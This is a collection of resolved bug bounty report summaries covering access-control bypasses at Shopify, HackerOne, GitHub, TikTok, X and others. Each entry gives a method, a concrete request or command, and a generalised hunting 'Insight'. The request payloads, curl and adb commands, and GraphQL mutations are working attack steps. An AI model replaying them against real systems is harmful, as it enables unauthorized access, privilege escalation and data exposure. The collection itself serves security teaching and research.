Specimen #1577940 · security · awarded · 148 votes · resolved
Program securitySurface apiTag account-takeover
Root cause
Account bans block UI/login but the API layer keeps honoring the previously issued API token; ban/delete revocation is not propagated to every credential/subsystem.
Method
- Generate an API token before the account is banned
- Get the account permanently banned/deleted
- Use the old token against the REST API (reports, balance, earnings, payouts, programs) - all still work
curl "https://api.hackerone.com/v1/hackers/me/reports" -X GET -u "user:APITOKEN=" -H "Accept: application/json"
Insight — After any state change that should revoke access (ban, delete, logout, password change, permission removal), re-test EVERY parallel credential path: API tokens, mobile sessions, OAuth grants, collaborator invites. Revocation is rarely global.
Real-world example
Admin-only GraphQL mutation reachable via a privileged app endpoint (appCreditCreate)
◆ Medium
Specimen #1257428 · shopify · awarded · 133 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
appCreditCreate is meant to be Shopify-admin-only (the core internal endpoint rejects it for staff), but the Shopify GraphiQL app's API surface makes the same mutation callable by a store staff with 'apps' permission -> mint unlimited credits.
Method
- Install the Shopify GraphiQL app as staff with 'apps' permission
- Send any action to capture the app's authenticated GraphQL request (its own cookie/CSRF)
- Replace body with the appCreditCreate mutation
- Verify credits appear on the billing page
POST /admin/api/2021-07/graphql HTTP/2
Host: shopify-graphiql-app.shopifycloud.com
X-Csrf-Token: <token>
{"operationName":"AppCreditCreatePayload","variables":{"description":"credits","amount":{"amount":500.00,"currencyCode":"USD"},"test":false},"query":"mutation AppCreditCreatePayload($description:String!,$amount:MoneyInput!,$test:Boolean){appCreditCreate(description:$description,amount:$amount,test:$test){appCredit{id amount{amount currencyCode}} userErrors{field message}}}"}
Insight — A mutation blocked on the main endpoint may be reachable through a first-party companion app that proxies to the same backend with broader trust; test privileged operations through every app/proxy surface, not just the primary API.
Real-world example
Android deep link forces victim app to start a video call (surroundings leak)
◆ Medium
Specimen #2139260 · snapchat · awarded · 126 votes · resolved
Program snapchatSurface mobile-android
Root cause
An exported deep link handler starts a privileged action (video call) from attacker-controlled parameters without a user gesture/confirmation; a crafted link with the attacker-victim conversation_id auto-initiates the call, leaking the victim's camera/surroundings.
Method
- Obtain the attacker<->victim conversation_id
- Send the victim a deep link that maps to the call-start action
- Victim tapping the link auto-initiates a video call to the attacker, exposing their surroundings
snapchat://call/start?source_type=NEW_CHAT&calling_media=VIDEO&conversation_id=CONVERSATION_ID&is_group=false
Insight — Enumerate an app's exported deep links (manifest) and test whether any trigger state-changing/sensitive actions (call, pay, share, add-friend) directly from URL params without confirmation - these are one-click IPC exploits.
Real-world example
Flip filter boolean (live=false) to read hidden records
◆ Medium
Specimen #2295958 · tiktok · 1000 · 125 votes · resolved
Program tiktokSurface api
Root cause
The Shop Seller 'search product' API used a live boolean as a visibility filter; setting live=false (or omitting it) returned inactive/suspended products that shouldn't be exposed.
Method
- Locate the product-search POST (params include live:true)
- Resend with live:false or omit the field
- Response includes suspended/inactive products
POST /api/v1/xyz {"campaign_id":"0","product_name":"","page_index":1,"page_size":30,"live":false}
Insight — Boolean filter params (live/active/published/is_deleted/visible) are often applied as a UI convenience, not an authorization control. Flip them, negate them, or omit them to surface hidden/soft-deleted/suspended records.
Real-world example
API key ignores program-group scoping (horizontal access via REST)
◆ Medium
Specimen #2965723 · security · awarded · 124 votes · resolved
Program securitySurface apiTag account-takeover
Root cause
Within a multi-program organization, UI restricts a low-permission user to one program, but the REST API does not enforce that group scoping, so the user's API key can query the sibling program's policy and updates.
Method
- In an org with 2 programs, be a user in a low-permission group scoped to program A only
- Generate a HackerOne API key for that account
- Request the OTHER program's handle via the hackers API
- Receive program B's policy and updates you shouldn't see
curl "https://api.hackerone.com/v1/hackers/programs/OTHER_PROGRAM_HANDLE/" -X GET -u "APIKEY=" -H "Accept: application/json"
Insight — Authorization scoping enforced in the UI/GraphQL is often absent on the parallel REST/API-key surface; re-test every object you 'shouldn't' see through the raw API with a token from a scoped-down account.
Real-world example
Legacy server still wired to prod DB dumps full user records
◆ Medium
Specimen #1365738 · flickr · 500 · 116 votes · resolved
Program flickrSurface web
Root cause
A decommissioned legacy Flickr/Yahoo server retained full access to the main database and lacked access controls; an undocumented /start search path returned any user's complete DB record (including password hash) in a Y.listData JS object.
Method
- Reach the orphaned server (https://34.235.208.201) and discover the /start path
- Search by a target's published image name
- Intercept/replay in Burp; the redirect response body contains Y.listData with the full user record incl password hash
GET https://34.235.208.201/start -> search image name -> response body: Y.listData = { user: { ... password:..., email:... } }
Insight — Hunt legacy/decommissioned hosts (old IPs, staging, migration remnants) that still hold prod DB access -- they often skip the authz layer the main app enforces. Fuzz for undocumented paths (/start) and inspect full response bodies (Burp), not just the rendered page.
Real-world example
Differential-response oracle confirms existence of private programs
◆ Medium
Specimen #2381253 · security · 500 · 108 votes · resolved
Program securitySurface webTag account-takeover
Root cause
An endpoint (advanced_vetting / terms_acceptance_data.csv) responds differently for real-but-private program handles vs non-existent handles (distinct response instead of the default 404), leaking which private programs exist.
Method
- Request hackerone.com/<handle>/terms_acceptance_data.csv for a candidate company handle
- Non-existent handle -> default 404 page
- Private/real program -> different response (request goes through / distinct error)
- Script company-name handles to confirm private programs
GET /<handle>/terms_acceptance_data.csv HTTP/1.1
Host: hackerone.com
# compare status/body vs a known-nonexistent handle
Insight — Confidentiality bugs often hide in response DIFFERENCES, not data: a resource that returns 200/302/distinct-error for real-but-unauthorized objects and 404 for nonexistent ones is an enumeration oracle. Diff responses across known/unknown/private ids.
Real-world example
X-Forwarded-For spoofing to defeat rate limit and geo-fence
◆ Medium
Specimen #2627062 · acronis · awarded · 105 votes · resolved
Program acronisSurface webChain XFF spoof -> unlimited requests -> OTP brute force -&g
Root cause
Rate-limit counter and location/geo restriction are keyed on a client-controlled X-Forwarded-For header instead of the real socket IP, so rotating the header resets the counter and forges the origin country.
Method
- Hit the login/OTP endpoint until a 429 appears
- Add/rotate X-Forwarded-For: <random IP> per request to keep bypassing the limit
- To defeat a country restriction, set X-Forwarded-For to an IP from the allowed country (Burp Match&Replace) and retry the blocked login
X-Forwarded-For: 109.104.192.0 # IP geolocated to the allowed country
# rotate this header per Intruder request to bypass the 429 rate limit and brute OTP/emails
Insight — Whenever rate limiting or geo-gating exists, test XFF / X-Real-IP / True-Client-IP / Forwarded. If the counter resets or the geo error clears, both controls are trusting a spoofable header. Also enables OTP brute force once the limiter is gone.
Real-world example
Client-side-only security gate bypass (2FA-required flag false->true)
◆ Medium
Specimen #3356149 · omise · awarded · 102 votes · resolved
Program omiseSurface webTag account-takeover
Root cause
The requirement to enable 2FA before sending team invites is enforced only by a client-side flag in an API response; flipping the response value from false to true unlocks the action because the server never re-validates 2FA status.
Method
- Attempt to invite a team member - UI blocks, citing 2FA requirement
- In Burp, Match & Replace the client-side flag false -> true in the response
- Reload, re-attempt invite
- Invitation is sent with 2FA never enabled
# Burp Match and Replace (response body):
"twoFactorEnabled":false -> "twoFactorEnabled":true
Insight — Any security prerequisite (2FA, email-verified, KYC, plan-tier) surfaced as a boolean in an API response is likely enforced client-side only; flip it with Match&Replace and see if the gated server action proceeds.
Real-world example
Cross-object authz mismatch: URL checked, body owner_id acted on
◆ Medium
Specimen #3560256 · github · awarded · 101 votes · resolved
Program githubSurface webTag account-takeover
Root cause
The bypass_reviewers endpoint verifies admin authorization against the repository named in the URL, but applies the change to a different repository identified by an owner_id parameter in the request body.
Method
- Have admin on repo A that you control
- POST to /<repoA>/settings/security_analysis/bypass_reviewers with owner_id in the body pointing at victim repo B
- The delegated bypass-reviewer list of repo B is modified
POST /<repoA>/settings/security_analysis/bypass_reviewers body: owner_id=<repoB_id>&...
Insight — When authorization keys off the URL path but the mutation targets an id in the body, they can disagree. Always duplicate the object identifier (put your authorized id in the URL, the victim id in the body) to test path-vs-body authz mismatches.
Real-world example
Client-side-only authorization on realtime/websocket commands
◆ Medium
Specimen #1987011 · mozilla · awarded · 98 votes · resolved
Program mozillaSurface webTag webhook
Root cause
Mozilla Hubs enforces room permissions (create/move objects, room-entry required) only in client JS. The server processes the websocket object-creation commands without re-checking room ACLs, so a non-admin (or even a non-joined spectator) can spawn/pin objects.
Method
- Admin disables 'create and move objects' and 'pin objects' in room settings
- As a non-admin, open the chat and issue /add commands to spawn objects
- Use --no-menu flag to spawn objects that cannot be removed
- To act without joining: in DevTools override the client check `const entered = this.scene.is('entered')` to `true` (or use ghost/spectator state) to unlock all commands
/add https://.../DuckyMesh.glb\n/add --no-menu https://www.youtube.com/watch?v=dQw4w9WgXcQ\n// client gate bypass: set entered=true in message-dispatch.js dispatchCommand()
Insight — Any restriction enforced only in front-end JS (feature toggles, room settings, 'entered'/role flags) is advisory. Replay the underlying websocket/API action directly, or patch the client boolean in the debugger, to confirm the server re-validates. Websocket apps frequently skip server-side authz.
Real-world example
Unprotected exported Android Activity -> forced logout DOS + intent-forwarded blob access
◆ Medium
Specimen #3764217 · basecamp · USD 287 · 96 votes · resolved
Program basecampSurface mobile-androidChain Exported activity -> session teardown DOS -> unvalidatTag account-takeover
Root cause
StartActivity is declared android:exported="true" with no android:permission and launchMode=singleInstance. Any installed app can fire an explicit intent at it; onNewIntent re-runs the startup/auth sequence, tearing down the authenticated session, and forwards launchDataUri into navigation unvalidated.
Method
- Confirm the target activity is exported without a permission guard in AndroidManifest
- From any zero-permission app (or adb) start it with an explicit component + launchDataUri extra while a session is active
- Observe immediate forced logout; loop it for persistent DOS
- Secondary: point launchDataUri at a victim blob/download URL to force navigation with the reused session
adb shell am start -n com.basecamp.bc3/com.basecamp.bc4.app.main.start.StartActivity --es launchDataUri "https://app.basecamp.com/6217076/projects/47432622"\n# DOS loop: repeat every 30s\n# blob nav: --es launchDataUri "https://app.basecamp.com/blobs/VICTIM_BLOB_ID/download/file.pdf"
Insight — Enumerate exported activities/services/receivers lacking android:permission. Launch them with crafted explicit intents; watch for auth/session state resets and for intent extras (URIs) forwarded unvalidated into WebView/navigation. Fix pattern: exported=false or signature-level permission.
Real-world example
BFLA on hidden GraphQL state-transition mutations (found via introspection)
◆ Medium
Specimen #2040756 · security · awarded · 92 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
GraphQL mutations meant for internal reviewers (reviewPentestOpportunity, reviewCompletePentestOpportunity) have no function-level authorization, so a customer can drive a submission through its review state transitions themselves.
Method
- Run GraphQL introspection to enumerate mutations
- Identify state-transition mutations that map to reviewer/admin-only actions
- Create the object (createPentestOpportunity) and capture its id/token
- Call reviewPentestOpportunity then reviewCompletePentestOpportunity with that id to move status submitted->in_review->reviewed
mutation { reviewPentestOpportunity(input:{ pentest_opportunity_id:"<ID>" }){ was_successful } }\nmutation { reviewCompletePentestOpportunity(input:{ pentest_opportunity_id:"<ID>" }){ was_successful } }
Insight — Introspection reveals mutations with no UI exposure. Any mutation that represents a privileged workflow step (approve, review, complete, publish) must be tested for missing role checks - call it directly as a low-priv user.
Real-world example
Workflow approval bypass via privileged reply_action on bulk endpoint
◆ Medium
Specimen #452959 · security · USD 2500 · 90 votes · resolved
Program securitySurface webTag account-takeover
Root cause
The report disclosure workflow requires moderator agreement, but the bulk-action endpoint accepts a reply_action=agree-on-going-public directly from the hacker, letting them self-approve publication.
Method
- Initiate a publish/disclosure request
- Capture the bulk action POST
- Set reply_action to the privileged value (agree-on-going-public) and submit
- Report is published without the moderator's agreement step
POST /reports/bulk\nreply_action=agree-on-going-public&reports_count=1&report_ids[]=<ID>&bounty_currency=USD
Insight — State machines exposed via a generic 'action' parameter often don't validate whether the caller's role may perform that action. Enumerate accepted action values and try the counterparty's/privileged action from the low-priv side.
Real-world example
Private-content read via like + data-export archive side channel
◆ Medium
Specimen #1694304 · x · awarded · 90 votes · resolved
Program xSurface graphqlChain BOLA on FavoriteTweet -> data-export archive read of privTag graphql
Root cause
The FavoriteTweet GraphQL endpoint lets a non-member like a private Twitter Circle tweet (no membership check). Although the tweet body isn't shown in-app, the attacker's account data-export archive includes the full content of liked tweets, leaking the private post.
Method
- Capture the FavoriteTweet request while liking a normal tweet
- Swap tweet_id for a private Circle tweet id; observe 200 OK
- Request your account data at settings/download_your_data
- Open the archive (data/like.js) to read the private Circle tweet content
POST /FavoriteTweet (GraphQL) with variables.tweet_id=<CIRCLE_TWEET_ID>\n// then GET /settings/download_your_data -> archive data/like.js contains full tweet text
Insight — When a direct action leaks little, look for a secondary sink that reflects the object back to you: data-export/GDPR archives, notifications, email digests, activity logs. Broken object-level authz on a write action (like/bookmark) plus an export side channel = private data read.
Real-world example
Privilege persistence by cloning object under client-controlled id (sid)
◆ Medium
Specimen #3114554 · dust · none · 90 votes · resolved
Program dustSurface apiTag account-takeover
Root cause
An agent's sid is client-settable on update. A member creates their own agent and PATCHes its sid to that of an admin-managed agent, producing a private clone that keeps working even after the admin disables the original.
Method
- As a member, create a new agent
- PATCH the new agent and set its sid to the admin agent's sid (e.g. gemini-pro)
- Admin disables the original agent
- The member's cloned agent still resolves/uses the admin agent's capability
PATCH /api/w/<w_id>/assistant/agent_configurations/<new_agent_id>\n{"assistant":{"name":"gemini-pro-clone","status":"active","scope":"private",...}}\n// set sid -> gemini-pro to clone the admin-managed agent
Insight — If an object's identifier/slug is client-controllable on create/update, users can duplicate privileged objects into their own namespace, defeating admin lifecycle controls (disable/revoke). Test whether disabling the source actually revokes derived copies.
Real-world example
Restriction enforced on web/GraphQL but not on REST API key
◆ Medium
Specimen #2081930 · security · awarded · 89 votes · resolved
Program securitySurface apiTag graphql
Root cause
A report-submission ban was enforced only on the primary (web/GraphQL) submission path; creating a personal API key and submitting via the documented REST endpoint bypassed the ban entirely.
Method
- Get your account banned from submitting reports (403 on the normal web/GraphQL path).
- Create an API key (sandbox program is enough).
- Submit reports via the REST API create-report endpoint; the ban is not checked there.
curl "https://api.hackerone.com/v1/hackers/reports" -X POST \
-u "user:API_TOKEN" -H 'Content-Type: application/json' -H 'Accept: application/json' \
-d '{"data":{"type":"report","attributes":{"team_handle":"target","title":"x","vulnerability_information":"x","impact":"x","severity_rating":"none","weakness_id":1}}}'
Insight — Bans/limits/authorization must be enforced at the service layer, not per-interface. When an app has both a web/GraphQL UI and a REST API, replay every restricted action through the alternate interface - the check is frequently only on one.
Real-world example
Missing permission check on provisioning endpoint (BFLA)
◆ Medium
Specimen #1167453 · shopify · awarded · 88 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
The dev-store creation flow only checks a broad 'has store access' condition; the /organizationID/stores/signup_object/dev_store endpoint issues a signup token to any staff member, so someone with only managed-store permission can create (and auto-login to) development stores.
Method
- Have a staff account whose permissions were reduced to managed-store only
- GET /organizationID/stores/signup_object/dev_store to obtain a signup token despite lacking dev-store permission
- POST /services/signup/create with that token to create the dev store
- Get logged into the new store automatically
GET /<orgID>/stores/signup_object/dev_store # returns signup token w/o dev-store permission\nPOST /services/signup/create # signup[extra][organization_id]=<orgID>&signup_source=development shop ...
Insight — Privilege changes in the UI aren't always enforced server-side. After a permission is revoked, replay the underlying provisioning/token endpoints - many gate on a coarse 'any access' check instead of the specific capability.
Real-world example
URL scheme allowlist omission -> file:// import to clone any repo
◆ Medium
Specimen #1685822 · gitlab · USD 22300 · 85 votes · resolved
Program gitlabSurface webChain URL-scheme SSRF/local-file -> import arbitrary repo by idTag cloud-aws
Root cause
BulkImports RepositoryPipeline passes an attacker-controlled httpUrlToRepo to fetch_as_mirror and calls Gitlab::UrlBlocker.validate! without a schemes allowlist, so file:// (and other protocols) pass validation. Combined with the deterministic on-disk repo path (sha256(project_id) bucketed), an attacker imports/clones any repository by id.
Method
- Stand up a fake source server (Flask) that returns a crafted httpUrlToRepo of file://host/path
- Compute the target repo's on-disk path: sha=SHA256(project_id); path=@hashed/sha[0:2]/sha[2:4]/sha.git
- Start a bulk import pointing at your fake server with destination_namespace you control
- Server fetch_as_mirror clones the local repo into your namespace
httpUrlToRepo = "file://aw.rs/var/opt/gitlab/git-data/repositories/@hashed/b1/74/b174...a562.git"\n# path from: Digest::SHA2.hexdigest("38006449") -> @hashed/b1/74/<sha>.git\nawait fetch("/import/bulk_imports.json",{method:"POST",headers:{"X-CSRF-Token":document.querySelector("[name=csrf-token]").content,"Content-Type":"application/json"},body:`{"bulk_import":[{"source_type":"project_entity","source_full_path":"group1/project1","destination_namespace":"<you>","destination_slug":"x_${Math.random()}"}]}`})
Insight — When code validates a URL for SSRF but doesn't pin allowed schemes, try file://, gopher://, dict://. If the app stores objects at a path derived from a predictable hash of an incremental id, you can address arbitrary internal objects. Restrict to https/git/ssh is the fix.
Real-world example
Unbounded GraphQL query leaks cross-tenant private data
◆ Medium
Specimen #1868473 · security · awarded · 85 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
The new scope-policy feature's PolicyScopeAssetGroupsQuery returns program names/scopes without restricting to the requesting user's authorized programs; appending /policy_scopes and enlarging the query page size dumps private programs' scopes to an unauthenticated user.
Method
- Visit /<program>/policy_scopes as an unauthenticated user
- In the proxy find the PolicyScopeAssetGroupsQuery GraphQL request; send to repeater
- Increase the size/first parameter (e.g. to ~2215) to pull the maximum result set
- Search the response for private program domains you shouldn't see
POST /graphql operationName=PolicyScopeAssetGroupsQuery variables:{ first: 2215 } # returns cross-program private scopes
Insight — GraphQL list queries backing a new feature frequently forget tenant filtering. Test with an oversized page-size/first argument and no auth; the pagination cap often bounds how much cross-tenant data leaks.
Real-world example
Privacy flag enforced only in UI -> BOLA on GraphQL Likes endpoint
◆ Medium
Specimen #2140960 · x · awarded · 82 votes · resolved
Program xSurface graphqlTag graphql
Root cause
The 'hide likes' setting hides the Likes timeline only in the UI; the Likes GraphQL endpoint still returns any user's liked tweets when queried directly with the target's userId.
Method
- Capture the /i/api/graphql/.../Likes request for your own profile
- Set variables.userId to a target user who has hidden their likes
- Send the request; the response returns the hidden likes as JSON
GET /i/api/graphql/lVf2NuhLoYVrpN4nO7uw0Q/Likes?variables={"userId":"<TARGET_ID>","count":20,...} (authenticated) -> hidden likes returned
Insight — 'Hidden/private' toggles are often display-layer only. Take the API request behind the feature and substitute another object/user id (BOLA). If the server returns data for a target that the UI hides, the privacy control isn't enforced server-side.
Real-world example
Cross-product signup bypass by replaying createTeam with stale cookies
◆ Medium
Specimen #1758174 · slack · USD 1500 · 80 votes · resolved
Program slackSurface webTag account-takeover
Root cause
GovSlack disables self-serve workspace creation in the UI, but the underlying /api/signup.createTeam endpoint still honors the request; replaying the slack.com createTeam POST against slack-gov.com using cookies from a failed GovSlack sign-in creates a GovSlack workspace.
Method
- On slack.com create a workspace, capture the /api/signup.createTeam POST (as fetch, credentials:include)
- Attempt a GovSlack sign-in to obtain slack-gov.com cookies
- Replay the same fetch against slack-gov.com (swap host) -> workspace created, access to Gov-only features
await fetch('https://slack-gov.com/api/signup.createTeam?_x_id=...', {credentials:'include', method:'POST', headers:{'Content-Type':'multipart/form-data; boundary=...'}, body:'...name="login"...true...name="in_setup_experiment"...true...'})
Insight — When a feature is 'disabled' only in the UI, test the raw API endpoint directly. Controls hidden client-side often remain callable server-side; port a working request from a sibling product/instance.
Real-world example
postMessage bridge proxies authenticated POST without origin check
◆ Medium
Specimen #1897443 · tiktok · awarded · 79 votes · resolved
Program tiktokSurface webChain postMessage (no origin check) -> forced authenticated POSTag account-takeover
Root cause
A TikTok Ads endpoint's postMessage handler sends POST requests based on message data without validating event.origin, so an attacker page framing/opening the target can drive a POST with arbitrary parameters to any endpoint in the victim's authenticated context (e.g. close account & refund).
Method
- Identify the page with a message-event listener that issues authenticated POSTs
- From an attacker origin, postMessage the crafted payload to it
- Handler forwards a POST (with the victim's cookies) to the target endpoint
- Sensitive action (close account / refund) executes with one click
// attacker page\ntargetWindow.postMessage({url:'/ads/close_account', method:'POST', body:{...}}, '*');\n// vulnerable handler: window.addEventListener('message', e => fetch(e.data.url,{method:e.data.method,credentials:'include',body:...})) // no e.origin check
Insight — Audit window message listeners for a missing event.origin allowlist. A handler that turns message data into an authenticated request is a CSRF-equivalent primitive that bypasses SameSite/CSRF tokens. Grep client JS for addEventListener('message' without origin validation.
Real-world example
IDOR reveals extra metadata via alternate viewer perspective
◆ Medium
Specimen #2524939 · security · awarded · 79 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
Opening a Spot Check by its id from the program (owner) perspective returns settings metadata (number of hackers, budget, selection criteria) that should be confidential to the requester, because the query serves owner-view fields regardless of the caller's real relationship to the object.
Method
- Navigate to the object's settings URL and note the id in the path/query
- Swap in the id of a Spot Check you were merely onboarded to (not the owner of)
- Read the SpotCheckSingleQuery response for owner-only metadata
{"operationName":"SpotCheckSingleQuery","variables":{"id":"<other_id>","product_area":"spot_checks","product_feature":"view"}}
Insight — Same object, two viewer roles, two field sets. Replay the privileged 'view/settings' query with an id you can only see from a lesser role; backends often key the response shape on product_area/feature params rather than re-checking the caller's role on that specific object.
Real-world example
Preview/staging hostname bypasses password protection
◆ Medium
Specimen #1256375 · shopify · awarded · 76 votes · resolved
Program shopifySurface web
Root cause
A password-protected store returns 401 for /blogs/news.atom on its canonical *.myshopify.com host, but the same content is served without the password check on the *.shopifypreview.com preview hostname.
Method
- Confirm the resource is gated (401 / redirect to password page) on the canonical host
- Locate the preview/staging hostname for the same tenant (e.g. <store>-<id>.shopifypreview.com)
- Request the same path (news.atom) on the preview host and receive the content
# gated: https://<store>.myshopify.com/blogs/news.atom -> 401
# open: https://<store>-<id>.shopifypreview.com/blogs/news.atom -> 200
Insight — Access control is often bound to the primary hostname only. Always retest gated resources on alternate hostnames: preview/staging/edge/CDN/apex-vs-www. The auth middleware frequently isn't wired up on the secondary vhost.
Real-world example
X-Forwarded-For: 127.0.0.1 -> internal-only API access
◆ Medium
Specimen #1011767 · yelp · awarded · 73 votes · resolved
Program yelpSurface apiTag account-takeover
Root cause
An edge/reverse-proxy trusts a client-supplied X-Forwarded-For header to decide whether a request is 'internal'; spoofing 127.0.0.1 flips x-is-internal-ip-address:true and unlocks restricted internal endpoints and the swagger spec.
Method
- Find an endpoint that returns an access/predicate error for you (biz-app.yelp.com/status)
- Resend with header X-Forwarded-For: 127.0.0.1
- Restricted internal responses are returned (health/status, swagger.json)
curl -k https://biz-app.yelp.com/status -H "X-Forwarded-For: 127.0.0.1"
curl -k https://biz-app.yelp.com/swagger.json -H "X-Forwarded-For: 127.0.0.1"
Insight — Whenever a response reveals IP-based trust (x-is-internal-ip-address, admin-by-IP), fuzz X-Forwarded-For / X-Real-IP / X-Client-IP / Forwarded / X-Originating-IP with 127.0.0.1, 10.x, internal ranges. Grab swagger/openapi once inside to map the newly-exposed surface.
Real-world example
Content-negotiation authz bypass via Accept header
◆ Medium
Specimen #1424291 · fetlife · awarded · 72 votes · resolved
Program fetlifeSurface web
Root cause
The same resource URL serves HTML or JSON based on the Accept header; the JSON code path omits the authorization check the HTML path enforces, so any authenticated user reads private pictures/videos/posts by requesting JSON.
Method
- Find a resource that renders HTML normally (e.g. /users/{id}/pictures/{id})
- Re-request it with Accept: application/json
- If the JSON branch skips authz, you receive the private resource
curl 'https://fetlife.com/users/14104003/pictures/120041856' \
-H 'Cookie: _fl_sessionid=<session>' \
-H 'Accept: application/json' --user-agent 'not cur1'
Insight — Different representations, different middleware. Retest every gated URL with Accept: application/json (and .json/.xml suffixes, ?format=json). API/JSON branches routinely re-implement the handler without the HTML path's access control.
Real-world example
BFLA: no-permission staff calls undocumented GraphQL mutation
◆ Medium
Specimen #980511 · shopify · 1500 · 71 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
The undocumented emailSenderConfigurationUpdate GraphQL mutation performs no function-level permission check, so a staff account explicitly granted no permissions can change the store's customer-facing sender email.
Method
- Invite a staff member with zero permissions to your store
- As that staff user, send the emailSenderConfigurationUpdate mutation to /admin/internal/web/graphql/core
- Confirm the store's Customer email changed in Store details
POST /admin/internal/web/graphql/core
{"query":"mutation emailSenderConfigurationUpdate($input:EmailSenderConfigurationUpdateInput!){emailSenderConfigurationUpdate(input:$input){emailSenderConfiguration{id} userErrors{field message}}}","variables":{"input":{"senderEmail":"attacker@evil.tld"}}}
Insight — Enumerate undocumented/internal GraphQL mutations (internal/web/graphql/core) and replay them from a least-privilege account. UI hiding a function is not authorization; many internal mutations never re-check the actor's role.
Real-world example
Access-restriction bypass via alternate app endpoint (file-drop -> gallery)
◆ Medium
Specimen #719426 · nextcloud · awarded · 68 votes · resolved
Program nextcloudSurface webTag file-upload
Root cause
An upload-only (file-drop) share hides contents in the default UI, but the gallery app served the same share token at /apps/gallery/s/<token> and rendered/downloaded the files, ignoring the upload-only restriction (CVE-2020-8119).
Method
- Obtain an upload-only file-drop share URL /s/<token>
- Swap the path to the gallery app endpoint /apps/gallery/s/<token>
- View and download the supposedly hidden uploaded media (even with 'hide download' set)
Restricted: https://cloud.target.com/s/<token>
Bypass: https://cloud.target.com/apps/gallery/s/<token>
Insight — The same object is often reachable through multiple app/module endpoints that don't share authorization checks. Enumerate alternate handlers (gallery, preview, dav, thumbnail, API) for any restricted share/ID.
Real-world example
Forced browse to /users/create_admin to self-provision admin (Shopify Stocky)
◆ Medium
Specimen #1245736 · shopify · awarded · 67 votes · resolved
Program shopifySurface web
Root cause
A privileged admin-creation endpoint (/users/create_admin) performs no server-side authorization check on the caller's role; any authenticated low-privileged user can POST to it with a valid session+CSRF token and create an admin account.
Method
- Create a non-privileged Stocky user.
- Capture a valid session cookie and authenticity_token from any normal request (e.g. update profile).
- POST directly to /users/create_admin with new user fields.
- Log in as the newly created admin.
POST /users/create_admin HTTP/2
Host: stocky.shopifyapps.com
Cookie: <session>
Content-Type: application/x-www-form-urlencoded
utf8=%E2%9C%93&authenticity_token=<token>&user%5Bfirst_name%5D=x&user%5Blast_name%5D=y&user%5Bemail%5D=attacker@x.com&commit=Create+%26+Login
Insight — Enumerate admin-only actions (create_admin, invite, role-change) and replay them from a low-priv session with a valid CSRF token. Missing function-level authz on privileged POST endpoints is a recurring self-provisioning vector.
Real-world example
Disabled feature's controller still live -> unauth account registration
◆ Medium
Specimen #2376929 · nextcloud · awarded · 66 votes · resolved
Program nextcloudSurface webChain disabled-feature endpoint reachable -> attacker-controlleTag oauth
Root cause
The user_oidc ID4me toggle only hides the login button; the controller at /apps/user_oidc/id4me stays reachable, so an unauthenticated user pointing it at an attacker-controlled OIDC discovery server registers a new account (even as an existing username via a forged id_token sub).
Method
- Confirm user_oidc is installed (ID4me may appear disabled)
- As an unauthenticated user open /apps/user_oidc/id4me and supply an attacker-controlled ID4me domain
- Attacker server serves /.well-known/openid-configuration, /register, /auth (redirect), /token (crafted id_token with chosen sub)
- Nextcloud provisions/logs in a new account on the instance
GET /apps/user_oidc/id4me (domain = attacker id4me.example)
# attacker /token returns id_token whose payload sub is the desired username, e.g. {"aud":"...","sub":"admin","exp":...}
Insight — A UI 'disable' toggle that only hides a button rarely removes the backend route. For every feature flag, request the underlying controller/endpoint directly. OIDC/ID4me flows that trust an attacker-chosen discovery document let you mint arbitrary id_token claims (sub) for provisioning.
Real-world example
Client-side authz: use disabled/unauthorized chatbot by editing configurationId
◆ Medium
Specimen #3112106 · dust · none · 64 votes · resolved
Program dustSurface apiTag account-takeover
Root cause
Admin-side agent permissions were enforced only in the UI; the message-edit API accepted an arbitrary mention/configurationId, so a member could invoke a disabled or unpermitted agent by naming it in the request body.
Method
- As a restricted member, start a normal conversation and intercept the message-edit request
- Change the mention and configurationId to the target (disabled) agent's id
- Forward -> the disabled/unauthorized agent responds
POST /api/w/<w>/assistant/conversations/<c>/messages/<m>/edit
{"content":":mention[gemini-pro]{sId=gemini-pro} how are you?","mentions":[{"type":"agent","configurationId":"gemini-pro"}]}
Insight — Feature toggles / entitlement checks enforced only in the UI are bypassable by supplying the target resource id directly in the API body. Enumerate object ids of disabled features and reference them in requests.
Real-world example
Derived/transformed copy of a private file gets a public ACL
◆ Medium
Specimen #1984060 · mozilla · 1000 · 62 votes · resolved
Program mozillaSurface webTag file-upload
Root cause
Phabricator generates image transformations (crops/thumbnails) of a private upload with a default public visibility that does not inherit the source object's private ACL, and the user cannot edit or delete the derived public URL - leaking the original (uncropped) content.
Method
- Upload a file and set visibility to 'no one'/'just you'
- Open 'View Transformations' and click regenerate to create a derivative
- Note the derivative is served from a new public phabricator URL
- The public derivative still contains the sensitive content and cannot be modified/deleted
# workflow, no request payload:
/file/upload -> set private -> View Transformations -> regenerate -> new PUBLIC file URL
Insight — Derived artifacts (thumbnails, transforms, exports, cached renders, PDF previews) frequently do not inherit the source object's ACL and default to public. For any private-file feature, generate every derivative and check each resulting URL's access independently.
Real-world example
Anonymous role granted via scope that matches NULL foreign keys
◆ Medium
Specimen #781175 · security · none · 59 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
An ownership scope (claimed_by_user) used a subquery ChecklistCheck.where(user_id: user).select(:checklist_id) instead of an inner join. Unclaimed rows have user_id = NULL, so calling the scope with nil (an anonymous requester) returns those checklists and grants the CLAIMER role.
Method
- Identify a GraphQL object whose authz depends on an 'owned by requester' scope
- Confirm the endpoint is reachable while signed out (requester = nil)
- Query the object as an anonymous user; the scope matches NULL-owner rows and authorizes you
query {
node(id: "Z2lkOi8vaGFja2Vyb25lL0NoZWNrbGlzdC8x") {
... on Checklist { name expires_at }
}
}
Insight — Ownership checks built on WHERE column = requester silently match rows where the column is NULL when requester is nil (anonymous). Test any 'is mine' authorization anonymously and on objects with unset owner fields.
Real-world example
Token-scope enforcement gap on search API
◆ Medium
Specimen #3522254 · github · awarded · 58 votes · resolved
Program githubSurface api
Root cause
Authorization was enforced on the primary content endpoints but the search REST API did not check the token's scope, so a classic PAT lacking the repo scope could still retrieve issues/commits from private/internal repos the user could otherwise access (CVE-2026-3582).
Method
- Hold access to a private repo via org membership/collaborator role
- Create a classic PAT WITHOUT the repo scope
- Query the search REST API (issues/commits) with that under-scoped token and read private content
GET /search/issues?q=repo:ORG/PRIVATE+is:issue
